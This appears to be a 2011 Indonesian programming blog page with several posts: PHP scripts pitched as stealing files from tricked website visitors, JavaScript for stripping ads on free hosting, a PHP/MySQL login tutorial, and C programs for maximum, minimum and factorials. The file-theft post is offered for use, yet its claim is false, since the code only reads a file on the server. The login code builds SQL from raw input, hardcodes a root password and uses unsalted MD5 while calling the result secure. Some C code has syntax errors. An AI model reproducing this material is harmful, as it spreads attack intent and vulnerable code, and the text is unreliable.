Showing posts with label Anda. Show all posts
Showing posts with label Anda. Show all posts

Wednesday, April 13, 2011

Bahaya pencurian file pada komputer client menggunakan script

Sebelum saya memperjelas isi dari pada judul ini, saya memohon agar apa yang dipraktekkan disini tidak menjadi suatu hal yang negatif buat orang lain. Kalaupun anda ingin mempraktekkannya dengan madsud jahat, segala sesuatunya bukan merupakan tanggung jawab saya.
Oke, kembali ke topik. Anda pasti tidak menduga, bila suatu ketika saya tahu apa rencana dibalik data yang Anda simpan pada komputer anda. Saya tidak perlu panggil dukun dan begadang seharian untuk menunggu bapak dukun menyelesaikan aksinya, he..he..he. Tahukah anda ?? dengan script PHP berikut ini, file-file yang ada di komputer client dapat diambil dengan mudah dan terselip di server Anda. Cukup dengan menipu korban untuk membuka situs yang sudah disisipi script ini, maka secara otomatis ia akan mengambil (upload) ke path server tujuan anda.
Berikut Scriptnya :


1. File Pertama
<?
// Script ini buat yang ngerti PHP
// Nama File : ScrCuri.php
// Fungsi : Pemproses pengiriman file ke server
$host='localhost';
$port=80;
// Ubah variabel path letak posisi upload.php
$path='/upload.php';
// Ganti variabel fileku dengan file yang ingin kamu ambil
$fileku = "c:\\\autoexec.bat";
$content_type = "text/plain"; // type mime file
// Start Header
srand((double)microtime()*1000000);
$boundary = "---------------------------".substr(md5(rand(0,32000)),0,10);
$data = "--$boundary";
$content_file = join("", file($fileku));
$data.="
Content-Disposition: form-data; name=\"fileku\"; filename=\"$fileku\"
Content-Type: $content_type
$content_file
--$boundary";
$data.="--\r\n\r\n";
$msg =
"POST $path HTTP/1.0
Content-Type: multipart/form-data; boundary=$boundary
Content-Length: ".strlen($data)."\r\n\r\n";
// End Header
$result="";
// Buka Koneksi
$f = fsockopen($host, $port);
fputs($f,$msg.$data);
// Dapatkan tanggapan + hasil
while (!feof($f))
{
$result .= fread($f,32000);
}
fclose($f);
// Cetak hasil
echo $result;
?>


2. File Kedua
<?
// Nama File : upload.php
// Fungsi : Penangkapan isi header atau request yang dikirim dan melakukan proses penyalinan file dari client

if (is_uploaded_file($fileku))
{
// Ubah variabel namasimpan sesuai path file penyimpanan yang kamu inginkan
$namasimpan="/backup_backup_backup/test/autoexec.bat"
copy($fileku, $namasimpan);
// Tampilkan hasil
echo "Oke";
}else{
echo "Gagal copy file >> '$fileku'.";
}
?>


Nah, setelah kamu menyimpan script kamu pada server/host kamu. Maka, untuk membuktikannya coba akses script scrcuri.php. Mis : http://bloganda.com/scrcuri.php , ingat!!! konfigurasi harus cocok lho... biar kamu gampang, simpan aja kedua file di root server kamu jadi, file upload.php diakses pada http://situskamu.com/upload.php. Udah ngerti??... Yap... aku harap begitu.. he..he..he. Untuk coba-coba akseslah script scrcuri.php pada lingkungan windows... apa yang terjadi??? Wowww... sebuah file autoexec.bat telah menyisip diserver kamu, alias diambil dari komputer client kamu sebagai percobaan.
Sebelum kamu merasa puas, perlu anda ketahui bahwa script diatas, belum sempurna (Makanya jangan puas dulu.... ). Mau tau kekurangannya ???.. Yeahhh... saya tau kamu juga tau iya khan???. Kita ketahui, pada file percobaan kita... hanya mampu mengambil file tertentu saja yang belum tentu ada dikomputer target. Misalkan aja file c:\tomero.gif , otomatis semua komputer belum tentu punya file kayak gitu. So, solusinya.. tambahkan aja javascript dan manipulasi dikit kedua script diatas... Tau khan.. k'lo ngga tau biarin aja buat PR dirumah atau bila perlu belajar PHP dulu yang buaaanyaaakk. Ngga bisa juga?? Jurus yang paling jitu adalah , Copy-Paste aja..." Dasar orang males...he..he..he..
Akhirnya, sekali lagi... segala sesuatu yang terdapat pada info ini, kegunaanya ada ditangan anda. Saya cuma menulis dan mengembangkan ide dengan madsud agar anda berhati-hati dengan dunia Internet walaupun terbilang asyikkk... Maafkan, jika ada kesalahan atau hal yang kurang berkenan dihati anda. Terima kasih.

Cara menghilangkan iklan pada halaman web yang ada pada hosting gratisan

Sebelum saya menunjukkan beberapa contoh kode yang pasti ampuh untuk mengatasi beberapa iklan yang ada pada hosting gratisan. Maka, saya ingin memberitahu pada anda teknik penyisipan iklan yang umum dan banyak digunakan antara lain :

1.  Iklan berbentuk banner
Jenis penyisipan iklan ini akan terlihat jelas menempel pada halaman web anda. Teknik ini akan menambahkan kode iklan yang akan menjadi satu kesatuan dalam halaman web anda. Kodenya biasanya berupa script html sehingga sama saja seperti anda menyisipkan gambar pada halaman web anda.
2. Iklan dengan frame
Jenis ini merupakan jenis pemunculan iklan yang paling saya benci. Selain sangat kejam dalam membagi wilayah antara iklan dan isi web kita sendiri, kadang-kadang teknik ini juga membuat halaman web kita akan lambat proses pengaksesannya. Itu terjadi, karena ketika seseorang mengakses halaman web anda, yang terjadi adalah bukan hanya halaman web anda yang diload melainkan satu atau beberapa halaman iklan yang diload dan dibentuk dalam beberapa frame.
3. Iklan dengan popup (jendela baru)
Iklan dengan teknik ini sifatnya bisa menggangu dan bisa juga tidak. Saya mengatakan demikian karena, iklan ini akan muncul pada jendelanya sendiri atau halaman baru tanpa mengganggu atau menutupi isi pada halaman web anda yang secara khusus memiliki jendela sendiri. Berbeda dengan kedua teknik diatas, kedua-duanya akan menyisipkan iklannya pada satu jendela. Biasanya yang menderita akibat teknik periklanan ini adalah orang yang mengakses situs anda. Karena mau nggak mau ia harus menutup jendela iklan itu karena memadati isi taskbarnya. Dan karena hal ini bisa-bisa pengunjung anda akan berkurang.

Oke, selesai sudah bicara teknik. Kini saya akan membagikan contoh script dengan javascript untuk memblok iklan-iklan yang menggangu tersebut. Perlu diketahui, agar anda dapat mengetahui teknik iklan yang disisipkan pada situs anda, mau nggak mau anda harus periksa kodenya dan pelajari, nggak ngerti??? sepertinya anda perlu banyak memahami tentang HTML maupun javascript di dunia maya ini. Berikut contoh scriptnya :


1. Untuk Teknik Pertama
Bila baris iklan pada kode HTMLnya berada diantara tag <DIV> misalkan :
<DIV>Iklan bla..bla..bla</DIV>
Anda hanya perlu menghitung pada tag
keberapa dikurangi 1 dan isikan nilainya pada variabel id. Misalkan contoh HTML :

<HTML>
<BODY>
<DIV>
<DIV>
IKLAN
</DIV>
</DIV>
<DIV>
ISIKU
</DIV>
ISIKU LAGI
</BODY>
</HTML>

Terlihat jelas disana ada dua tag <DIV>, kecuali tag <DIV> didalam tag <DIV> tidak termasuk. Tag <DIV> iklan berada pada awal alias Tag <DIV> pertama, maka idnya adalah :
id = posisi - 1
id = 1 - 1
id = 0
Udah tambahkan script berikut diakhir seluruh element tag <DIV> atau setelah tag </HTML> juga boleh.


<script>
var collDivs = document.all.tags("DIV");
collDivs[0].style.display="none";
</script>

Sama seperti Tag <DIV> jika iklan yang ditampilkan berbentuk gambar atau menggunakan tag <IMG>, gunakan script berikut sesuai id tag <IMG> yang cara mendapatkannya sama seperti tag <DIV>.


<script>
document.images[0].style.display="none";
</script>

2. Untuk menghilangkan iklan dengan frame
Kalau anda mengerti HTML, pastilah anda tahu madsud saya yang satu ini. Untuk menghilangkan iklan dengan teknik ini adalah cukup mudah. Logikanya, kita hanya perlu menyuruh browser kita agar me-load halaman situs kita yang sebenarnya yang secara acak ditetapkan oleh penyedia hosting gratisan. Karena perlu anda ketahui, ketika anda meng-upload file-file situs anda ke host gratisan, nama file yang anda akses pada host tersebut bukanlah merupakan halaman web anda. Misalkan anda meng-upload file tomero-keren.html, maka secara otomatis file yang sebenarnya bisa saja tomero-keren.html?2007, tomero-ff.html, 03434423.html, dsb dan yang pasti kamu bakalan repot bila harus setiap saat mengecek file sebenarnya tiap hari. Isi file halaman asli kamu diubah menjadi halaman yang membentuk suatu frame, dimana diantara frame tersebut terdapat halaman situs kamu yang nama filenya udah diganti dan juga iklan-iklan yang menjengkelkan. Oke, dari pada panjang lebar mending saya kasih aja scriptnya.


<SCRIPT>
if(top.location.href != self.location.href)
{
top.location.href = self.location.href;
}
</SCRIPT>


Script ini akan me-load secara otomatis nama file atau alamat situs dari pada halaman web kamu ketika di akses. So, frame dan pastinya iklan akan hilang.

3. Teknik yang terakhir
Untuk teknik iklan yang satu ini, agaknya perlu banyak variasi script. Variasi tersebut di tetapkan berdasarkan kapan popup muncul serta masalah peletakan script. Sebelum anda merajuk kepada script, anda harus dapat mengetahui nama dari popup iklan host anda. Untuk mengetahui nama popup tersebut, lihat pada kode HTML nya dan dapatkan kode yang mirip-mirip dengan kode berikut:
window.open("halaman_web.html", "nama_popup","parameter");
Script diatas merupakan fungsi javascript untuk menampilkan jendela baru alias popup.

* Kemungkinan script yang menampilkan popup berada diawal kode HTML anda. Untuk itu, anda menambahkan script berikut dibawah script popup iklan atau baiknya didalam tag <BODY>. Karena perlu diketahui, intrepreter javascript akan langsung menjalankan script tanpa memperdulikan halaman sudah diload semua. Intrepeternya siap mengeksekusi jika kode yang diawali tag <SCRIPT> dan diakhiri tag </SCRIPT> sudah diload semua. Sehingga mungkin saja terjadi error bila suatu script mengandung pemanggilan suatu object, sedangkan object itu belum selesai diload termasuk objek yang dibentuk oleh kode javascript iklan (misalkan objek gambar atau tabel). Oke, dari pada banyak ngomong tapi nggak abis-abis berikut script yang akan menutup secara otomatis popup setelah ia muncul.


<script>
pup=window.open("about:blank","nama_popup","");
pup.window.close();
window.focus;
</script>


Script diatas akan memanggil ulang jendela popup dan mengakses halaman baru pada jendela tersebut, lalu menutupnya.
* Jika script popup tidak berda diawal kode HTML anda. Maka, sisipkan saja script berikut diatasnya. Script ini akan memblok akses popup yang anda inginkan sesuai nama popupnya, sehingga popup tidak sempat muncul atau dibuka.


<script>
function SaringJendela(url,nama,parmeter)
{
if(name.indexOf("nama_popup")!=-1) return false;
return window.Xopen(url,nama,parmeter);
}
window.Xopen=window.open;
window.open=SaringJendela;
</script>

Akhirnya, tuntas juga petualangan kita mengatasi iklan di hosting gratisan. Anda harus tahu, script yang saya contohkan diatas tidak selamanya bisa digunakan untuk membasmi iklan. Tetapi, setidaknya saya sudah memberikan gambaran kepada anda bagaimana cara membasmi iklan tersebut. Hanya kekreatifitasan dan juga kemauan anda yang terus-menerus mencoba untuk mencari dan mengembangkannya. Tetapi saya yakin, bila anda mampu javascript dan HTML, semuanya pasti berhasil tanpa perlu script yang saya ajarkan. Jika kamu udah paham semuanya serta logika iklan - iklan itu terbentuk, semua iklan - iklan pada hosting gratisan juga dapat dihapuskan hanya dengan tag - tag HTML tanpa perlu javascript. Anda hanya perlu menipu peletakan kode iklannya, hebat khan???. Huaahhh,

Mengetahui Fitur Login/Logout Halaman Web Dengan PHP

 

Banyak sekali aplikasi di internet yang menggunakan fitur login dan logout. Fungsinya tentu saja membatasi akses terhadap layanan tertentu yang disediakan pada situs tersebut. Hanya anggota yang telah terdaftar saja yang diijinkan mengakses layanan-layanan khusus tersebut. Kali ini PCplus akan membahas bagaimana membuat aplikasi yang memiliki fitur login/logout. Yang dibahas di sini adalah halaman login dan logoutnya saja, sedangkan isi aplikasi yang terletak di dalamnya bisa Anda kembangkan sendiri.

Dalam pembuatan aplikasi ini kita membutuhkan database yang akan menyimpan data-data dari para anggota yang telah terdaftar. Buatlah database dengan MySQL sebagai berikut:

mysql> create database daftar;

mysql> create table anggota(

-> uname varchar(20),

-> pswd varchar(32));

Database tersebut terdiri dari satu tabel bernama “anggota” dan tabel tersebut memiliki 2 buah field yaitu uname untuk menyimpan user name dan pswd untuk menyimpan password. Mengapa field pswd ditentukan untuk memiliki 32 karakter? Kita akan bahas nanti.

Sekarang mula-mula kita akan buat dahulu halaman pendaftaran anggota. Skripnya diberikan pada listing 1.






Listing 1. Halaman pendaftaran

<HTML>

<HEAD>

<TITLE> Sign Up </TITLE>

</HEAD>

<BODY>

Isilah username dan password yang Anda inginkan <BR>

<PRE>

<FORM NAME="frmSignUp" METHOD="post" ACTION="process.php">

Username :

Password      : <INPUT TYPE="password" NAME="pswd">

<INPUT TYPE="submit" VALUE="Submit">

</FORM>

</BODY>

</HTML>

Simpanlah skrip ini dengan nama signup.php. Diberi nama signup.htm pun boleh karena pada kenyataannya tidak ada skrip php pada file ini. Jika dijalankan pada browser hasilnya akan nampak seperti gambar 1.

Berikutnya kita akan membuat file process.php yang akan memproses pendaftaran kita tadi. Skripnya diberikan pada listing 2.






Listing 2. Halaman proses

<HTML>

<HEAD>

<TITLE> Processing your Account </TITLE>

</HEAD>

<BODY>

<?

$uname = $_POST['uname'];

$pswd = md5($_POST['pswd']);

$host = "localhost";

$user = "root";

$pwd = "rahasia";

$db = "daftar";

$stop = 0;

$sql = "select uname from anggota";

$conn = @mysql_connect($host,$user,$pwd) or

die("Koneksi gagal : " . mysql_error());

mysql_select_db($db);

$qry = mysql_query($sql) or

die("Query salah : " . mysql_error());

while ($row = mysql_fetch_array($qry)) {

if ($uname == $row['uname']) {

echo "Username $uname was already chosen by someone else <BR>";

echo "Go back and choose another username";

$stop = 1;

break;

}

}

if ($stop==0) {

$sql = "insert into anggota values ('$uname','$pswd')";

$qry = mysql_query($sql) or

die("Query salah : "  . mysql_error());

echo "Your account is successfully created <BR>";

echo "<A HREF='login.php'> Click here </A> to login";

}

?>

</BODY>

</HTML>

Perhatikan bahwa pada baris kedua skrip php (setelah bagian <BODY>) terdapat fungsi md5. Fungsi md5 merupakan fungsi yang menghitung md5 hash dari suatu string. (Mengenai hal ini Anda dapat mendapatkan informasi lebih detil di http://www.faqs.org/rfcs/rfc1321.html). Md5 hash menghasilkan 32 karakter dalam format heksadesimal. Itulah sebabnya mengapa field pswd dibuat bertipe data karakter dengan panjang 32 karakter. Dengan md5 hash ini password Anda akan disimpan dalam bentuk yang sangat sulit ditebak.

Pada skrip ini mula-mula diperiksa apakah username yang dipilih telah ada di dalam database. Jika telah ada, maka php akan memberikan peringatan bahwa username tersebut telah ada dan Anda dipersilakan membuat username baru. Jika belum ada, maka informasi username dan password Anda akan didaftarkan ke dalam database dan Anda akan diberitahu bahwa account Anda telah dibuat. Bandingkan dengan gambar 2 dan gambar 3.

Setelah proses sign up berhasil, kini kita akan membuat halaman untuk login. Skripnya diberikan pada listing 3.






Listing 3. Halaman login

<HTML>

<HEAD>

<a class="zem_slink" href="http://en.wikipedia.org/wiki/Login" title="Login" rel="wikipedia">Login</a>

</HEAD>

<BODY>

Registered user log in:

<PRE>

<FORM NAME="frmLogIn" METHOD="post" ACTION="main.php">

Username     : <INPUT TYPE="text" NAME="uname">

Password      : <INPUT TYPE="password" NAME="pswd">

<INPUT TYPE="submit" VALUE="Submit">

</FORM>

</PRE>

New user please register

<A HREF="signup.php"> here </A>

</BODY>

</HTML>

Simpanlah file ini dengan nama login.php atau login.htm. Jika dijalankan pada browser hasilnya akan nampak seperti gambar 4. Skrip ini akan diolah pada file main.php. Nah, skrip dari file main.php itu sendiri diberikan pada listing 4.






Listing 4. Pengolah login

<HTML>

<HEAD>

<TITLE> Main Page </TITLE>

</HEAD>

<BODY>

<?

$uname = $_POST['uname'];

$pswd = md5($_POST['pswd']);

$host = "localhost";

$user = "root";

$pwd = "rahasia";

$db = "daftar";

$stop = 0;

$sql = "select * from anggota where uname='$uname'";

$conn = @mysql_connect($host,$user,$pwd) or

die("Koneksi gagal : " . mysql_error());

mysql_select_db($db);

$qry = mysql_query($sql) or

die("Query salah : " . mysql_error());

$num = mysql_num_rows($qry);

$row = mysql_fetch_array($qry);

if ($num==0) {

echo "Username not found <BR>";

echo "Go back and try another username";

} else {

if ($pswd!=$row['pswd']) {

echo "Your password is incorrect <BR>";

echo "Go back and type the correct password";

} else {

echo "You are successfully logged in";

}

}

?>

</BODY>

</HTML>

Pada prinsipnya skrip main.php ini mengolah data-data dari halaman login. Langkah pertama yang dilakukan tentu saja adalah koneksi ke database. Setelah itu mencocokkan username yang ada di database, jika tidak cocok Anda diminta memasukkan username kembali. Jika username cocok dengan record yang ada pada database, diperiksa passwornya. Jika passwordnya cocok, maka Anda akan dapat login, jika tidak Anda diminta untuk mengisi password yang tepat. Mudah bukan?

Namun sebenarnya skrip tersebut di atas belumlah selesai. Mengapa? Sebab skrip seperti di atas (sekalipun telah diberi “pagar” di sana-sini) tetap mudah ditembus oleh siapapun, bahkan Anda tidak perlu belajar menjadi hacker untuk dapat menembusnya.

Contoh mudah, isilah form login dengan data yang ada pada database Anda. Dengan sendirinya Anda akan login dan masuk ke halaman main.php yang bertuliskan “You are successfully logged in”. Sekarang tekan tombol “back” browser Anda, lalu setelah Anda tiba kembali ke halaman login, tekan tombol “forward”. Apa yang terjadi? Ya, Anda akan kembali masuk ke halaman main.php dan login dengan sukses. Itu artinya jika Anda lalai dan meninggalkan komputer Anda, orang lain dengan mudah akan masuk menggunakan account Anda.

Lalu bagaimana solusinya? Salah satu caranya adalah dengan menambahkan session ke dalam aplikasi tersebut. Dengan memeriksa apakah suatu variabel session pernah didaftarkan atau belum, maka aplikasi tersebut menjadi lebih aman. Dengan menggunakan solusi ini, fitur login/logout pada aplikasi kita akan terpecah menjadi lima file yang diberikan pada listing 5 hingga listing 9.






Listing 5. File login.php

<HTML>

<HEAD>

<TITLE> Login </TITLE>

</HEAD>

<BODY>

Registered user log in: <BR>

<PRE>

<FORM NAME="frmLogIn" METHOD="post" ACTION="cekpswd.php">

Username     : <INPUT TYPE="text" NAME="uname">

Password      : <INPUT TYPE="password" NAME="pswd">

<INPUT TYPE="submit" VALUE="Submit">

</FORM>

</PRE>

New user please register

<A HREF="signup.php"> here </A>

</BODY>

</HTML>

File login.php tersebut hanyalah form login biasa seperti gambar 4. Parameter ACTION dari tag <FORM> diisi dengan cekpswd.php, karena isian dari form ini akan diperiksa oleh file cekpswd.php.






Listing 6. File cekpswd.php

<?

session_start();

$uname = $_POST['uname'];

$pswd = md5($_POST['pswd']);

$host = "localhost";

$user = "root";

$pwd = "rahasia";

$db = "daftar";

$sql = "select * from anggota where uname='$uname'";

$conn = @mysql_connect($host,$user,$pwd) or

die("Koneksi gagal : " . mysql_error());

mysql_select_db($db);

$qry = mysql_query($sql) or

die("Query salah : " . mysql_error());

$num = mysql_num_rows($qry);

$row = mysql_fetch_array($qry);

if ($num==0 OR $pswd!=$row['pswd']) {

header("Location: sorry.php");

} else {

$_SESSION['login']=1;

header("Location: main.php");

}

?>

File cekpasswd.php digunakan untuk memeriksa username dan password yang dimasukkan pada file login.php. Pada file ini mulai diinisiasi sebuah session. Langkah selanjutnya adalah mencocokkan username dan password dengan record yang terdapat pada database. Jika username dan password itu tidak cocok – bisa usernamenya tidak terdaftar atau passwordnya yang salah – maka skrip tersebut akan mengarahkan langkahnya menuju ke file sorry.php, tapi jika benar maka arahnya akan menuju ke file main.php dan sebuah variabel session diinisiasi. (Pada skrip kita variabel tersebut diberi nama $_SESSION[‘login’]). Yang berfungsi sebagai “pengatur arah” adalah fungsi header(). Fungsi header() akan memberikan output berupa HTTP header yang harus diberikan sebelum ada tag HTML apapun. Itu sebabnya file cekpswd.php hanya terdiri dari skrip php saja dan tidak memiliki tag HTML. (Kalaupun toh ada, itu harus dibawah skrip php yang mengeluarkan HTTP header). Untuk informasi lebih lanjut mengenai HTTP header Anda dapat mengunjungi http://www.w3.org/Protocols/rfc2616/rfc2616. Yang jelas fungsi header() pada skrip kita di atas digunakan untuk redirection, yaitu mengarahkan browser untuk memanggil URL lain. Oleh karena output file cekpswd.php hanya HTTP header saja, maka file ini tidak memiliki “penampakan fisik” pada browser.






Listing 7. File main.php

<?

session_start();

if(!isset($_SESSION['login'])) {

include("login.php");

} else {

?>

<HTML>

<HEAD>

<TITLE> Main Page </TITLE>

</HEAD>

<BODY>

You are successfully logged in <BR>

You can access this application <BR> <BR>

<A HREF="logout.php"> Log Out </A>

</BODY>

</HTML>

<?

}

?>

File main.php adalah file yang akan dipanggil apabila username dan password yang dimasukkan pada halaman login.php berhasil melewati “satpam” cekpswd.php. Lihat gambar 5. File inilah yang nantinya bisa dikembangkan untuk menyusun aplikasi-aplikasi web yang diperuntukkan bagi mereka yang login. Sebelumnya pada bagian awal dari file ini diperiksa terlebih dahulu apakah variabel $_SESSION[‘login’] sudah pernah diinisiasi dengan fungsi isset(). Seandainya belum, itu artinya user yang mengakses halaman main.php belum login. Jika demikian, maka orang tersebut akan “diangkut” menuju ke halaman login.php untuk login terlebih dahulu. Apakah mungkin user yang belum login dapat langsung menuju ke halaman main.php? Mungkin saja apabila ia langsung mengetikkan “http://bla..bla..bla/main.php” di bagian address browser. Oleh karena itu harus diberi “satpam” agar user tersebut tidak main selonong saja.

Jika seandainya aplikasi Anda terdiri dari beberapa halaman, maka pada prinsipnya setiap halaman harus diberi skrip sebagai berikut:

<?

session_start();

if(!isset($_SESSION['login'])) {

include("login.php");

} else {

?>

Di bawah skrip ini baru diberikan tag-tag HTML atau skrip PHP lain yang menyusun aplikasi. Dengan demikian setiap halaman selalu memeriksa apakah variabel session $_SESSION['login'] telah diinisiasi. Jika belum, maka redirection akan beraksi dan “menendang” user untuk kembali ke halaman login.php.






Listing 8. File sorry.php

<HTML>

<HEAD>

<TITLE> Sorry </TITLE>

</HEAD>

<BODY>

Your user name or password is incorrect <BR>

Sorry, you are not allowed to access this page

</BODY>

</HTML>

File ini akan muncul apabila user salah memasukkan username atau password pada halaman login. Lihat gambar 6. User tersebut dapat mengklik tombol back di browser untuk kembali ke halaman login dan memasukkan username dan password yang benar.






Listing 9. File logout.php

<?

session_start();

unset($_SESSION['login']);

session_destroy();

header("Location: login.php");

?>

File ini digunakan untuk melakukan proses logout. Pada file ini variabel $_SESSION['login'] dihilangkan sekaligus bersama dengan sessionnya. Langkah selanjutnya adalah mengarahkan aplikasi ke halaman login.php. Setelah session dihilangkan, maka user harus login lagi untuk dapat mengakses aplikasi tersebut.

Pada dasarnya fungsi header() tidak harus mengarahkan aplikasi ke file login.php. Bisa saja Anda membuat sebuah file lain yang bernama goodbye.php misalnya yang isinya adalah ucapan perpisahan.

Nah, selamat belajar mengembangkan aplikasi dengan menggunakan fitur login/logout.

Mencari Nilai Maksimum/Minimum dengan Bahasa C

 

Program untuk mencari nilai maksimu/minimum ini merupakan kombinasi dari penggunaan array dan fungsi.

Bagan alur program yang akan dibuat ditampilkan pada gambar 1 dan gambar 2.

Pencarian nilai maksimum

Pada prinsipnya alur dari pencarian nilai maksimum adalah sebagai berikut:

  1. Dideklarasikan sebuah variabel bernama maks.

  2. Variabel maks tersebut diisi dengan data pertama dari kumpulan data.

  3. Program melakukan iterasi dengan looping for menuju ke data kedua, ketiga, dan seterusnya hingga data terakhir.

  4. Setiap kali iterasi, data dibandingkan dengan nilai data variabel maks. Jika data pada langkah iterasi tersebut nilainya lebih besar daripada data variabel maks, maka data tersebut dimasukkan ke variabel maks menggantikan data sebelumnya.


Program mencari nilai maksimum diberikan pada listing 1.






Listing 1. Mencari nilai maksimum

#include <stdio.h>

#define N 20

float maks();

int i;

main()

{

float nmaks, bil[N];

int jml;

clrscr();

printf("Program mencari nilai maksimum \n\n");

// input jumlah bilangan

printf("Jumlah bilangan (maks 20) : ");

scanf("%d",&jml);

printf("\n");

// input data

for (i=0;i<jml;i++)

{

printf("Bilangan ke %d : ",i+1);

scanf("%f",&bil[i]);

}

// mencari nilai maksimum

nmaks = maks(bil,jml);

// mencetak nilai maksimum

printf("Nilai maksimum adalah : %f",nmaks);

}

// fungsi menentukan nilai maksimum

float maks(X,k);

float X[];

int k;

{

float maksimum = X[0];

for (i=0;i<k;i++)

{

if (X[i] > maksimum)

{

maksimum = X[i];

}

}

return maksimum;

}

Jika program tersebut dijalankan, salah satu kemungkinan hasilnya adalah sebagai berikut:

Program mencari nilai maksimum

Jumlah bilangan (maks 20) : 5

Bilangan ke 1 : 12

Bilangan ke 2 : 65

Bilangan ke 3 : 32

Bilangan ke 4 : 73

Bilangan ke 5 : 49

Nilai maksimum adalah : 73.000000

Pencarian nilai minimum

Pada prinsipnya alur dari pencarian nilai minimum sama dengan pencarian nilai maksimum, hanya ada sedikit perbedaan pada pembandingan nilai variabel. Alurnya adalah sebagai berikut:

  1. Dideklarasikan sebuah variabel bernama min.

  2. Variabel min tersebut diisi dengan data pertama dari kumpulan data.

  3. Program melakukan iterasi dengan looping for menuju ke data kedua, ketiga, dan seterusnya hingga data terakhir.

  4. Setiap kali iterasi, data dibandingkan dengan nilai data variabel min. Jika data pada langkah iterasi tersebut nilainya lebih kecil daripada data variabel min, maka data tersebut dimasukkan ke variabel min menggantikan data sebelumnya.


Program mencari nilai minimum diberikan pada listing 2.






Listing 2. Mencari nilai minimum

#include <stdio.h>

#define N 20

float min();

int i;

main()

{

float nmin, bil[N];

int jml;

clrscr();

printf("Program mencari nilai minimum \n\n");

// input jumlah bilangan

printf("Jumlah bilangan (maks 20) : ");

scanf("%d",&jml);

printf("\n");

// input data

for (i=0;i<jml;i++)

{

printf("Bilangan ke %d : ",i+1);

scanf("%f",&bil[i]);

}

// mencari nilai minimum

nmin = min(bil,jml);

// mencetak nilai minimum

printf("Nilai minimum adalah : %f",nmin);

}

// fungsi menentukan nilai minimum

float min(X,k)

float X[];

int k;

{

float minimum = X[0];

for (i=0;i<k;i++)

{

if (X[i] < minimum)

{

minimum = X[i];

}

}

return minimum;

}

Salah satu kemungkinan hasil apabila program tersebut dijalankan adalah sebagai berikut:

Program mencari nilai minimum

Jumlah bilangan (maks 20) : 5

Bilangan ke 1 : 12

Bilangan ke 2 : 65

Bilangan ke 3 : 32

Bilangan ke 4 : 73

Bilangan ke 5 : 49

Nilai minimum adalah : 12.000000

Nah, sebagai latihan, Anda bisa menggabungkan kedua program tersebut menjadi satu program dengan misalnya ditambah suatu kondisi agar pengguna program memilih apakah akan mencari nilai maksimum atau nilai minimum. Jika yang ingin dicari adalah nilai maksimum, maka program akan menjalankan fungsi maks(), sedangkan bila yang ingin dicari adalah nilai minimum, maka program akan menjalankan fungsi min().

Namun bisa juga dalam satu program yang sama, output yang dihasilkan adalah nilai maksimum dan minimum sekaligus.

Selamat mencoba.

Menghitung Faktorial Dengan Bahasa C

 

Menghitung Faktorial merupakan contoh favorit yang sering diberikan dalam rangka membahas fungsi rekursif. Fungsi rekursif adalah suatu fungsi yang memanggil dirinya sendiri. Jadi di dalam fungsi tersebut terdapat suatu baris program yang memanggil dirinya sendiri. Perhatikan contoh pada listing 1.






Listing 1. Contoh fungsi rekursif

main()

{





}

fungsiX()

{





fungsiX()



}

Satu hal yang harus diperhatikan adalah proses rekursi tersebut akan terjadi secara berulang-ulang, sehingga di dalam fungsi yang bersifat rekursif tersebut harus diberi suatu kondisi sedemikian rupa yang dapat mengakhiri proses rekursi.

Lalu, apa pula faktorial itu? Faktorial adalah perkalian suatu bilangan bulat N dengan N-1, N-2, dan seterusnya hingga 0.

Kalau begitu hasilnya selalu 0 dong, khan semua bilangan jika dikalikan dengan 0 adalah 0. Pada faktorial yang terjadi tidaklah demikian, karena ada perjanjian bahwa nilai faktorial 0 adalah 1, bukan 0.

Suatu faktorial dilambangkan dengan tanda seru (!) dan mengikuti rumus sebagai berikut:

N! = N x (N-1) x (N-2) x … x 0

Dalam bentuk lain, rumus di atas bisa dituliskan sebagai berikut:

N! = N x (N-1)!

Nah, program bahasa C yang digunakan untuk menghitung faktorial diberikan pada listing 2.






Listing 2. Menghitung faktorial

#include <stdio.h>

long int faktorial(int N);

main()

{

long int f;

int n;

clrscr();

printf("Program Menghitung Faktorial \n \n");

printf("Masukkan suatu bilangan bulat : ");

scanf("%d",&n);

if (n<0)

{

printf("Bilangan harus positif!");

} else {

f = faktorial(n);

printf("Nilai %d! adalah : %ld", n, f);

}

}

long int faktorial(int N)

{

long int F;

if (N<=1)

{

return(1);

} else {

F = N * faktorial(N-1);

return(F);

}

}

Jika program tersebut dijalankan, hasilnya adalah sebagai berikut:

Program Menghitung Faktorial

Masukkan suatu bilangan bulat : 5

Nilai 5! adalah : 120

Bandingkan dengan gambar 1.

Alur program tersebut adalah sebagai berikut:

  1. Deklarasi variabel.

  2. Input bilangan yang akan difaktorial.

  3. Pemeriksaan kondisi, jika bilangan kurang dari nol, maka muncul peringatan, jika bilangan lebih besar atau sama dengan nol, maka fungsi faktorial() dipanggil.


Sementara itu di dalam fungsi faktorial() sendiri alurnya adalah sebagai berikut:

  1. Deklarasi variabel.

  2. Pemeriksaan kondisi, jika nilai bilangan kurang dari atau sama dengan 1, maka fungsi faktorial() akan menghasilkan nilai balik 1, jika nilai bilangan lebih dari 1, maka dihitung nilai faktorialnya. Perhitungan nilai faktorial mengikuti rumus N! = N x (N-1)!. Karena itu di dalam fungsi faktorial() ini dipanggil lagi fungsi faktorial() namun sekarang nilai argumennya adalah N-1.


Dengan memanfaatkan program faktorial di atas, kita bisa membuat suatu program lain yang juga bermanfaat, seperti misalnya program untuk menghitung permutasi dan kombinasi. Permutasi dan kombinasi merupakan proses perhitungan yang kerap dilakukan di bidang ilmu statistik. Rumus perhitungan permutasi dan kombinasi dapat dilihat pada gambar 3. Huruf P menunjukkan permutasi dan huruf C menunjukkan kombinasi. Huruf n dan r mewakili bilangan bulat positif dengan n >= r.

Berdasarkan rumus tersebut, kita akan membuat program untuk menghitung permutasi dan kombinasi. Program tersebut diberikan pada listing 3.






Listing 3. Menghitung permutasi dan kombinasi

#include <stdio.h>

long int faktorial(int N);

main()

{

long int hasil;

int n,r;

char proses;

clrscr();

printf("Program Menghitung Permutasi atau Kombinasi \n");

printf("nPr atau nCr \n \n");

printf("Masukkan nilai n : ");

scanf("%d",&n);

printf("Masukkan nilai r : ");

scanf("%d",&r);

if (n<r) {

printf("Nilai n tidak boleh lebih kecil dari r");

} else {

printf("Pilih P (permutasi) atau C (kombinasi) : ");

proses = getche();

if (proses=='p' | proses=='P')

{

hasil = faktorial(n)/faktorial(n-r);

printf("\n \n");

printf("%dP%d = %ld",n,r,hasil);

}

else if (proses=='c' | proses=='C')

{

hasil = faktorial(n)/(faktorial(r) * faktorial(n-r));

printf("\n \n");

printf("%dC%d = %ld",n,r,hasil);

}

else

